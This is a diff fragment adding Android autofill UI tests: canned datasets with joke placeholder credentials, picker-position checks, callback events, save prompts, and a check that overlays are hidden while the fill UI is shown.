+        callback.assertUiShownEvent(username);
+        final Rect usernamePickerBoundaries2 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
+        Log.v(TAG,
+                "Username2 at " + usernameBoundaries2 + "; picker at " + usernamePickerBoundaries2);
+
+        // And back to the password again..
+        final Rect passwordBoundaries2 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        final Rect passwordPickerBoundaries2 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
+        Log.v(TAG,
+                "Password2 at " + passwordBoundaries2 + "; picker at " + passwordPickerBoundaries2);
+
+        // Assert final state matches initial...
+        // ... for username
+        assertWithMessage("Username2 at %s; Username1 at %s", usernameBoundaries2,
+                usernamePickerBoundaries1).that(usernameBoundaries2).isEqualTo(usernameBoundaries1);
+        assertWithMessage("Username2 picker at %s; Username1 picker at %s",
+                usernamePickerBoundaries2, usernamePickerBoundaries1).that(
+                usernamePickerBoundaries2).isEqualTo(usernamePickerBoundaries1);
+
+        // ... for password
+        assertWithMessage("Password2 at %s; Password1 at %s", passwordBoundaries2,
+                passwordBoundaries1).that(passwordBoundaries2).isEqualTo(passwordBoundaries1);
+        assertWithMessage("Password2 picker at %s; Password1 picker at %s",
+                passwordPickerBoundaries2, passwordPickerBoundaries1).that(
+                passwordPickerBoundaries2).isEqualTo(passwordPickerBoundaries1);
+
+        // Final validation check
+        callback.assertNumberUnhandledEvents(0);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillTwoDatasetsSameNumberOfFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available...
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // ... on all fields.
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsAll() throws Exception {
+        autoFillTwoDatasetsUnevenNumberOfFieldsTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsOne() throws Exception {
+        autoFillTwoDatasetsUnevenNumberOfFieldsTest(false);
+    }
+
+    private void autoFillTwoDatasetsUnevenNumberOfFieldsTest(boolean fillsAll) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        if (fillsAll) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("DUDE");
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available on username...
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // ... but just one for password
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("The Dude", "THE DUDE");
+        if (fillsAll) {
+            mUiBot.selectDataset("The Dude");
+        } else {
+            mUiBot.selectDataset("THE DUDE");
+        }
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillDatasetWithoutFieldIsIgnored() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .build())
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available...
+        mUiBot.assertDatasets("The Dude");
+
+        // ... on all fields.
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
+        mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
+            @Override
+            public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
+                return new AccessibilityNodeProvider() {
+                    @Override
+                    public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
+                        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+                        if (virtualViewId == View.NO_ID) {
+                            info.addChild(v, 108);
+                        }
+                        return info;
+                    }
+                };
+            }
+        }));
+
+        testAutoFillOneDataset();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndMoveFocusAround() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure tapping on other fields from the dataset does not trigger it again
+        requestFocusOnPassword();
+        sReplier.assertNoUnhandledFillRequests();
+
+        requestFocusOnUsername();
+        sReplier.assertNoUnhandledFillRequests();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Make sure tapping on other fields from the dataset does not trigger it again
+        requestFocusOnPassword();
+        mUiBot.assertNoDatasets();
+        requestFocusOnUsernameNoWindowChange();
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testUiNotShownAfterAutofilled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Make sure tapping on autofilled field does not trigger it again
+        requestFocusOnPassword();
+        mUiBot.assertNoDatasets();
+
+        requestFocusOnUsernameNoWindowChange();
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillTapOutside() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("The Dude");
+
+        // tapping outside autofill window should close it and raise ui hidden event
+        mUiBot.waitForWindowChange(() -> tap(mActivity.getUsernameLabel()));
+        callback.assertUiHiddenEvent(username);
+
+        mUiBot.assertNoDatasets();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillCallbacks() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
+        callback.assertUiShownEvent(username);
+
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+
+        // Unregister callback to make sure no more events are received
+        mActivity.unregisterCallback();
+        requestFocusOnUsername();
+        // Blindly sleep - we cannot wait on any event as none should have been sent
+        SystemClock.sleep(MyAutofillCallback.MY_TIMEOUT.ms());
+        callback.assertNumberUnhandledEvents(0);
+
+        // Autofill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackDisabled() throws Exception {
+        // Set service.
+        disableService();
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Assert callback was called
+        final View username = mActivity.getUsername();
+        callback.assertUiUnavailableEvent(username);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasets() throws Exception {
+        callbackUnavailableTest(NO_RESPONSE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Exception {
+        callbackUnavailableTest(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+    }
+
+    private void callbackUnavailableTest(CannedFillResponse response) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(response);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Assert callback was called
+        final View username = mActivity.getUsername();
+        callback.assertUiUnavailableEvent(username);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setId("I'm the alpha and the omega")
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Since this is a Presubmit test, wait for connection to avoid flakiness.
+        waitUntilConnected();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Make sure input was sanitized...
+        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+
+        // ...but labels weren't
+        assertTextOnly(fillRequest.structure, ID_USERNAME_LABEL, "Username");
+        assertTextOnly(fillRequest.structure, ID_PASSWORD_LABEL, "Password");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        assertViewAutofillState(mActivity.getPassword(), true);
+
+        // Try to login, it will fail.
+        final String loginMessage = mActivity.tapLogin();
+
+        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
+
+        // Set right password...
+        mActivity.onPassword((v) -> v.setText("dude"));
+        assertViewAutofillState(mActivity.getPassword(), false);
+
+        // ... and try again
+        final String expectedMessage = getWelcomeMessage("dude");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
+
+        // Assert value of expected fields - should not be sanitized.
+        assertTextAndValue(saveRequest.structure, ID_USERNAME, "dude");
+        assertTextAndValue(saveRequest.structure, ID_PASSWORD, "dude");
+        assertTextOnly(saveRequest.structure, ID_USERNAME_LABEL, "Username");
+        assertTextOnly(saveRequest.structure, ID_PASSWORD_LABEL, "Password");
+
+        // Make sure extras were passed back on onSave()
+        assertThat(saveRequest.data).isNotNull();
+        final String extraValue = saveRequest.data.getString("numbers");
+        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSaveHidingOverlays() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Since this is a Presubmit test, wait for connection to avoid flakiness.
+        waitUntilConnected();
+
+        sReplier.getNextFillRequest();
+
+        // Add an overlay on top of the whole screen
+        final View[] overlay = new View[1];
+        try {
+            // Allow ourselves to add overlays
+            allowOverlays();
+
+            // Make sure the fill UI is shown.
+            mUiBot.assertDatasets("The Dude");
+
+            final CountDownLatch latch = new CountDownLatch(1);
+
+            mActivity.runOnUiThread(() -> {
+                // This overlay is focusable, full-screen, which should block interaction
+                // with the fill UI unless the platform successfully hides overlays.
+                final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+                params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+                params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
+                params.width = ViewGroup.LayoutParams.MATCH_PARENT;
+                params.height = ViewGroup.LayoutParams.MATCH_PARENT;
+
+                final View view = new View(mContext) {
+                    @Override
+                    protected void onAttachedToWindow() {
+                        super.onAttachedToWindow();
+                        latch.countDown();
+                    }
+                };
+                view.setBackgroundColor(Color.RED);
+                WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+                windowManager.addView(view, params);
+                overlay[0] = view;
+            });
+
+            // Wait for the window being added.
+            assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
+
+            // Auto-fill it.
+            mUiBot.selectDataset("The Dude");
+
+            // Check the results.
+            mActivity.assertAutoFilled();
+
+            // Try to login, it will fail.
+            final String loginMessage = mActivity.tapLogin();
+
+            assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(
+                    AUTHENTICATION_MESSAGE);
+
+            // Set right password...
+            mActivity.onPassword((v) -> v.setText("dude"));
+
+            // ... and try again
+            final String expectedMessage = getWelcomeMessage("dude");
+            final String actualMessage = mActivity.tapLogin();
+            assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+            // Assert the snack bar is shown and tap "Save".
+            mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+            final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+            // Assert value of expected fields - should not be sanitized.
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "dude");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "dude");
+
+            // Make sure extras were passed back on onSave()
+            assertThat(saveRequest.data).isNotNull();
+            final String extraValue = saveRequest.data.getString("numbers");
+            assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+        } finally {
+            try {
+                // Make sure we can no longer add overlays
+                disallowOverlays();
+                // Make sure the overlay is removed
+                mActivity.runOnUiThread(() -> {
+                    WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+                    windowManager.removeView(overlay[0]);
+                });
+            } catch (Exception e) {
+                mSafeCleanerRule.add(e);
+            }
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillMultipleDatasetsPickFirst() throws Exception {
+        multipleDatasetsTest(1);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillMultipleDatasetsPickSecond() throws Exception {
+        multipleDatasetsTest(2);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillMultipleDatasetsPickThird() throws Exception {
+        multipleDatasetsTest(3);
+    }
+
+    private void multipleDatasetsTest(int number) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "mr_plow")
+                        .setField(ID_PASSWORD, "D'OH!")
+                        .setPresentation(createPresentation("Mr Plow"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "el barto")
+                        .setField(ID_PASSWORD, "aycaramba!")
+                        .setPresentation(createPresentation("El Barto"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "mr sparkle")
+                        .setField(ID_PASSWORD, "Aw3someP0wer")
+                        .setPresentation(createPresentation("Mr Sparkle"))
+                        .build())
+                .build());
+        final String name;
+
+        switch (number) {
+            case 1:
+                name = "Mr Plow";
+                mActivity.expectAutoFill("mr_plow", "D'OH!");
+                break;
+            case 2:
+                name = "El Barto";
+                mActivity.expectAutoFill("el barto", "aycaramba!");
+                break;
+            case 3:
+                name = "Mr Sparkle";
+                mActivity.expectAutoFill("mr sparkle", "Aw3someP0wer");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dataset number: " + number);
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are shown.
+        final UiObject2 picker = mUiBot.assertDatasets("Mr Plow", "El Barto", "Mr Sparkle");
+
+        // Auto-fill it.
+        mUiBot.selectDataset(picker, name);
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password).
+     */
+    @Presubmit
+    @Test
+    public void testAutofillOneDatasetCustomPresentation() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude",
+                        createPresentation("The Dude"))
+                .setField(ID_PASSWORD, "sweet",
+                        createPresentation("Dude's password"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("The Dude");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Dude's password");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        requestFocusOnPassword();
+        mUiBot.selectDataset("Dude's password");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password) and the dataset itself, and each dataset has the same number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentations() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder(createPresentation("Dataset1"))
+                        .setField(ID_USERNAME, "user1") // no presentation
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2") // no presentation
+                        .setPresentation(createPresentation("Dataset2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("Dataset1", "User2");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass1", "Dataset2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("Dataset1", "User2");
+
+        // Auto-fill it.
+        requestFocusOnPassword();
+        mUiBot.selectDataset("Pass1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), and each dataset has the same number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentationSameFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass1", "Pass2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Auto-fill it.
+        requestFocusOnPassword();
+        mUiBot.selectDataset("Pass1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), but each dataset has a different number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentationFirstDatasetMissingSecondField()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user2", "pass2");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("User2");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), but each dataset has a different number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentationSecondDatasetMissingFirstField()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("User1");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass1", "Pass2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("User1");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("User1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnly() throws Exception {
+        saveOnlyTest(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyTriggeredManually() throws Exception {
+        saveOnlyTest(false);
+    }
+
+    private void saveOnlyTest(boolean manually) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        if (manually) {
+            mActivity.forceAutofillOnUsername();
+        } else {
+            mActivity.onUsername(View::requestFocus);
+        }
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+        assertThat(saveRequest.datasetIds).isNull();
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "malkovich");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "malkovich");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
+        saveGoesAway(DismissType.HOME_BUTTON);
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
+        saveGoesAway(DismissType.BACK_BUTTON);
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
+        saveGoesAway(DismissType.TOUCH_OUTSIDE);
+    }
+
+    private void saveGoesAway(DismissType dismissType) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Then make sure it goes away when user doesn't want it..
+        switch (dismissType) {
+            case BACK_BUTTON:
+                mUiBot.pressBack();
+                break;
+            case HOME_BUTTON:
+                mUiBot.pressHome();
+                break;
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByText(expectedMessage).click();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
